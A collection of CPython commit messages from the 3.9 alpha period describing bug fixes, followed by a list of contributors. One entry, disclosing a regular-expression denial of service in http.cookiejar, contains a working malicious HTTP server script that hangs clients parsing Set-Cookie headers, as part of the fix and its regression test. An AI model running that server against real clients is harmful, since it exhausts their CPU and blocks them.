When producing the bytecode of exception handlers with name binding (like `except Exception as e`) we need to produce a try-finally block to make sure that the name is deleted after the handler is executed to prevent cycles in the stack frame objects. The bytecode associated with this try-finally block does not have source lines associated and it was causing problems when the tracing functionality was running over it.
This uses the heuristic of assuming a named tuple is a subclass of
tuple with a _fields attribute. This change means that contents of
a named tuple wouldn't be converted - if a user wants to have
ConvertingTuple functionality from a namedtuple, they will have to
implement it themselves.
When checking `setup.py` and when the `author` field was provided, but
the `author_email` field was missing, erroneously a warning message was
displayed that the `author_email` field is required.
The specs do not require the `author_email`field:
https://packaging.python.org/specifications/core-metadata/#author
The same is valid for `maintainer` and `maintainer_email`.
The warning message has been adjusted.
modified: Doc/distutils/examples.rst
modified: Lib/distutils/command/check.py
https://bugs.python.org/issue38914
Fix test_ressources_gced_in_workers() of test_concurrent_futures:
explicitly stop the manager to prevent leaking a child process
running in the background after the test completes.
Multiprocessing and concurrent.futures tests now stop the resource
tracker process when tests complete.
Add ResourceTracker._stop() method to
multiprocessing.resource_tracker.
Add _cleanup_tests() helper function to multiprocessing.util: share
code between multiprocessing and concurrent.futures tests.
Commit 6b5b013bcc ("bpo-26978: Implement pathlib.Path.link_to (Using
os.link) (GH-12990)") introduced a new link_to method in pathlib. However,
this makes pathlib crash when the 'os' module is missing a 'link' method.
Fix this by checking for the presence of the 'link' method on pathlib
module import, and if it's not present, turn it into a runtime error like
those emitted when there is no lchmod() or symlink().
Signed-off-by: Toke Høiland-Jørgensen <toke@redhat.com>
Provides a richer platform tag for AIX that we expect to be sufficient for PEP 425
binary distribution identification. Any backports to earlier Python versions will be
handled via setuptools.
Patch by Michael Felt.
When parsing an "elif" node, lineno and col_offset of the node now point to the "elif" keyword and not to its condition, making it consistent with the "if" node.
https://bugs.python.org/issue39031
Automerge-Triggered-By: @pablogsal
Replace hardcoded timeout constants in tests with SHORT_TIMEOUT of
test.support, so it's easier to ajdust this timeout for all tests at
once.
SHORT_TIMEOUT is 30 seconds by default, but it can be longer
depending on --timeout command line option.
The change makes almost all timeouts longer, except
test_reap_children() of test_support which is made 2x shorter:
SHORT_TIMEOUT should be enough. If this test starts to fail,
LONG_TIMEOUT should be used instead.
Uniformize also "from test import support" import in some test files.
* bpo-39022, bpo-38594: Sync with importlib_metadata 1.3 including improved docs for custom finders and better serialization support in EntryPoints.
* 📜🤖 Added by blurb_it.
* Correct module reference
Replace hardcoded timeout constants in tests with LONG_TIMEOUT of
test.support, so it's easier to ajdust this timeout for all tests at
once.
LONG_TIMEOUT is 5 minutes by default, but it can be longer depending
on --timeout command line option.
Tests no longer pass a timeout value to join_thread() of
test.support: use the default join_thread() timeout instead
(SHORT_TIMEOUT constant of test.support).
In Python 3.9.0a1, sys.argv[0] was made an asolute path if a filename
was specified on the command line. Revert this change, since most
users expect sys.argv to be unmodified.
Fix test_pty: if the process is the session leader, closing the
master file descriptor raises a SIGHUP signal: simply ignore SIGHUP
when running the tests.
test_openssl_version now accepts version 3.0.0.
getpeercert() no longer returns IPv6 addresses with a trailing new line.
Signed-off-by: Christian Heimes <christian@python.org>
https://bugs.python.org/issue38820
If waitpid() is called elsewhere, waitpid() call fails with
ChildProcessError: use return code 255 in this case, and log a
warning. It ensure that the pidfd file descriptor is closed if this
error occurs.
Break cycle generated when saving an exception in socket.py, codeop.py and dyld.py as they keep alive not only the exception but user objects through the ``__traceback__`` attribute.
https://bugs.python.org/issue36820
Automerge-Triggered-By: @pablogsal
parse_message_id() was improperly using a token defined inside an exception
handler, which was raising `UnboundLocalError` on parsing an invalid value.
https://bugs.python.org/issue38698
Since c64a1a61e6 two assertions were indented and thus ignored when running test_hmac.
This PR fixes it. As the change is quite trivial I didn't add a NEWS entry.
https://bugs.python.org/issue38270
Make ssl tests less strict and also accept TLSv3 as the default maximum
version. This change unbreaks test_min_max_version on Fedora 32.
https://bugs.python.org/issue38815
* bpo-20928: bring elementtree's XInclude support en-par with the implementation in lxml by adding support for recursive includes and a base-URL.
* bpo-20928: Support xincluding the same file multiple times, just not recursively.
* bpo-20928: Add 'max_depth' parameter to xinclude that limits the maximum recursion depth to 6 by default.
* Add news entry for updated ElementInclude support
Add ast.unparse() as a function in the ast module that can be used to unparse an
ast.AST object and produce a string with code that would produce an equivalent ast.AST
object when parsed.
Extra newlines are removed at the end of non-shell files. If the file only has newlines after stripping other trailing whitespace, all are removed, as is done by patchcheck.py.
The previous code was raising a `KeyError` for both the Python and C implementation.
This was caused by the specified index of an invalid input which did not exist
in the memo structure, where the pickle stores what objects it has seen.
The malformed input would have caused either a `BINGET` or `LONG_BINGET` load
from the memo, leading to a `KeyError` as the determined index was bogus.
https://bugs.python.org/issue38876https://bugs.python.org/issue38876
This patch enables downstream projects inspecting a TypedDict subclass at runtime to tell which keys are optional.
This is essential for generating test data with Hypothesis or validating inputs with typeguard or pydantic.
* fix HTTP Digest handling in request.py
There is a bug triggered when server replies to a request with `WWW-Authenticate: Digest` where `qop="auth,auth-int"` rather than mere `qop="auth"`. Having both `auth` and `auth-int` is legitimate according to the `qop-options` rule in §3.2.1 of [[https://www.ietf.org/rfc/rfc2617.txt|RFC 2617]]:
> qop-options = "qop" "=" <"> 1#qop-value <">
> qop-value = "auth" | "auth-int" | token
> **qop-options**: [...] If present, it is a quoted string **of one or more** tokens indicating the "quality of protection" values supported by the server. The value `"auth"` indicates authentication; the value `"auth-int"` indicates authentication with integrity protection
This is description confirmed by the definition of the [//n//]`#`[//m//]//rule// extended-BNF pattern defined in §2.1 of [[https://www.ietf.org/rfc/rfc2616.txt|RFC 2616]] as 'a comma-separated list of //rule// with at least //n// and at most //m// items'.
When this reply is parsed by `get_authorization`, request.py only tests for identity with `'auth'`, failing to recognize it as one of the supported modes the server announced, and claims that `"qop 'auth,auth-int' is not supported"`.
* 📜🤖 Added by blurb_it.
* bpo-38686 review fix: remember why.
* fix trailing space in Lib/urllib/request.py
Co-Authored-By: Brandt Bucher <brandtbucher@gmail.com>
The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular
expression denial of service (REDoS).
LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar
to parse Set-Cookie headers returned by a server.
Processing a response from a malicious HTTP server can lead to extreme
CPU usage and execution will be blocked for a long time.
The regex contained multiple overlapping \s* capture groups.
Ignoring the ?-optional capture groups the regex could be simplified to
\d+-\w+-\d+(\s*\s*\s*)$
Therefore, a long sequence of spaces can trigger bad performance.
Matching a malicious string such as
LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!")
caused catastrophic backtracking.
The fix removes ambiguity about which \s* should match a particular
space.
You can create a malicious server which responds with Set-Cookie headers
to attack all python programs which access it e.g.
from http.server import BaseHTTPRequestHandler, HTTPServer
def make_set_cookie_value(n_spaces):
spaces = " " * n_spaces
expiry = f"1-c-1{spaces}!"
return f"b;Expires={expiry}"
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.log_request(204)
self.send_response_only(204) # Don't bother sending Server and Date
n_spaces = (
int(self.path[1:]) # Can GET e.g. /100 to test shorter sequences
if len(self.path) > 1 else
65506 # Max header line length 65536
)
value = make_set_cookie_value(n_spaces)
for i in range(99): # Not necessary, but we can have up to 100 header lines
self.send_header("Set-Cookie", value)
self.end_headers()
if __name__ == "__main__":
HTTPServer(("", 44020), Handler).serve_forever()
This server returns 99 Set-Cookie headers. Each has 65506 spaces.
Extracting the cookies will pretty much never complete.
Vulnerable client using the example at the bottom of
https://docs.python.org/3/library/http.cookiejar.html :
import http.cookiejar, urllib.request
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
r = opener.open("http://localhost:44020/")
The popular requests library was also vulnerable without any additional
options (as it uses http.cookiejar by default):
import requests
requests.get("http://localhost:44020/")
* Regression test for http.cookiejar REDoS
If we regress, this test will take a very long time.
* Improve performance of http.cookiejar.ISO_DATE_RE
A string like
"444444" + (" " * 2000) + "A"
could cause poor performance due to the 2 overlapping \s* groups,
although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was.
is_cgi() function of http.server library does not currently handle a
cgi script if one of the cgi_directories is located at the
sub-directory of given path. Since is_cgi() in CGIHTTPRequestHandler
class separates given path into (dir, rest) based on the first seen
'/', multi-level directories like /sub/dir/cgi-bin/hello.py is divided
into head=/sub, rest=dir/cgi-bin/hello.py then check whether '/sub'
exists in cgi_directories = [..., '/sub/dir/cgi-bin'].
This patch makes the is_cgi() keep expanding dir part to the next '/'
then checking if that expanded path exists in the cgi_directories.
Signed-off-by: Siwon Kang <kkangshawn@gmail.com>
https://bugs.python.org/issue38863
Skip the test_posix.test_pidfd_open() test if os.pidfd_open() fails
with a PermissionError. This situation can happen in a Linux sandbox
using a syscall whitelist which doesn't allow the pidfd_open()
syscall yet (like systemd-nspawn).
Remove BEGIN_FINALLY, END_FINALLY, CALL_FINALLY and POP_FINALLY bytecodes. Implement finally blocks by code duplication.
Reimplement frame.lineno setter using line numbers rather than bytecode offsets.
This exposes a Linux-specific syscall for sending a signal to a process
identified by a file descriptor rather than a pid.
For simplicity, we don't support the siginfo_t parameter to the syscall. This
parameter allows implementing a pidfd version of rt_sigqueueinfo(2), which
Python also doesn't support.
When building Python in some uncommon platforms there are some known tests that will fail. Right now, the test suite has the ability to ignore entire tests using the -x option and to receive a filter file using the --matchfile filter. The problem with the --matchfile option is that it receives a file with patterns to accept and when you want to ignore a couple of tests and subtests, is too cumbersome to lists ALL tests that are not the ones that you want to accept and he problem with -x is that is not easy to ignore just a subtests that fail and the whole test needs to be ignored.
For these reasons, add a new option to allow to ignore a list of test and subtests for these situations.
Capturing exceptions into names can lead to reference cycles though the __traceback__ attribute of the exceptions in some obscure cases that have been reported previously and fixed individually. As these variables are not used anyway, we can remove the binding to reduce the chances of creating reference cycles.
See for example GH-13135
This PR implements a fix for `multiprocessing.Process` objects; the error occurs when Processes are created using either `fork` or `forkserver` as the `start_method`.
In these instances, the `MainThread` of the newly created `Process` object retains all attributes from its parent's `MainThread` object, including the `native_id` attribute. The resulting behavior is such that the new process' `MainThread` captures an incorrect/outdated `native_id` (the parent's instead of its own).
This change forces the Process object to update its `native_id` attribute during the bootstrap process.
cc @vstinner
https://bugs.python.org/issue38707
Automerge-Triggered-By: @pitrou
Ignore `GeneratorExit` exceptions when throwing an exception into the `aclose` coroutine of an asynchronous generator.
https://bugs.python.org/issue35409
Derek Brown
Victor Stinner
Andrew Svetlov
Pablo Galindo
Jason R. Coombs
Tal Einat
Anthony Sottile
Terry Jan Reedy
Serhiy Storchaka
Raymond Hettinger
Batuhan Taşkaya
Jendrik Seipp
Vinay Sajip
Ned Batchelder
Dong-hee Na
Zackery Spytz
Kyle Stanley
Mark Shannon
Gurupad Hegde
Jürgen Gmach
Bar Harel
Łukasz Langa
Lysandros Nikolaou
Steve Dower
Toke Høiland-Jørgensen
Xtreak
Michael Felt
Daniel Andersson
Giampaolo Rodola
JohnnyNajera
Tim Gates
Yury Selivanov
Mark Dickinson
Abhilash Raj
Elena Oat
AMIR
Christian Heimes
Daniel Himmelstein
idomic
Mario Corchero
wim glenn
Hill Ma
Claudiu Popa
Inada Naoki
stratakis
Matthew Rollings
torsava
Daniel Hillier
Brett Cannon
Tzu-ping Chung
Bruno P. Kinoshita
HongWeipeng
Brandt Bucher
Stefan Behnel
Zac Hatfield-Dodds
PypeBros
bcaller
jacksonriley
Siwon Kang
benedwards14
Jason Fried
xdegaye
Federico Bond
Benjamin Peterson
Jake Tesler
Adam Johnson
Vincent Michel
Tomás Farías
jsnklln
Victor Stinner
Toke Høiland-Jørgensen
Andrey Doroschenko
Jason (Perry) Taylor